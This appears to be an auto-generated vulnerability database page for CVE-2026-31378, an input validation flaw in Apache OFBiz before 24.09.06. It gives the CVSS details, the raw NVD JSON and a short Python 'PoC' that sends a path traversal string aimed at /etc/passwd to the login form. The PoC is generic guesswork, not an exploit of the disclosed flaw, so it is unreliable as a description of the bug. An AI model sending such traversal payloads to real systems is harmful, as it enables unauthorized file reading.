Security Vulnerability Report
中文
CVE-2026-31378 CVSS 6.5 MEDIUM

CVE-2026-31378

Published: 2026-05-19 10:16:23
Last Modified: 2026-05-19 19:16:47

Description

Improper Input Validation vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 24.09.06. Users are recommended to upgrade to version 24.09.06, which fixes the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* - VULNERABLE
Apache OFBiz < 24.09.06

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # This is a generic PoC for Improper Input Validation. # It attempts to send a payload that might bypass validation checks. target_url = "http://target-ofbiz-url:8080/control/login" # Example payload attempting to inject malicious input payload = { "username": "admin", "password": "../../../etc/passwd", # Example of path traversal if validation fails "submitLogin": "Login" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("Request sent successfully. Check response for indicators of vulnerability.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31378", "sourceIdentifier": "[email protected]", "published": "2026-05-19T10:16:23.137", "lastModified": "2026-05-19T19:16:47.147", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Input Validation vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.09.06", "matchCriteriaId": "CEB63EC9-E307-4D7E-98E3-142E0225D178"}]}]}], "references": [{"url": "https://lists.apache.org/thread/cbl8qkqtxv90m6ssfwd58bnoh933v38t", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/19/17", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}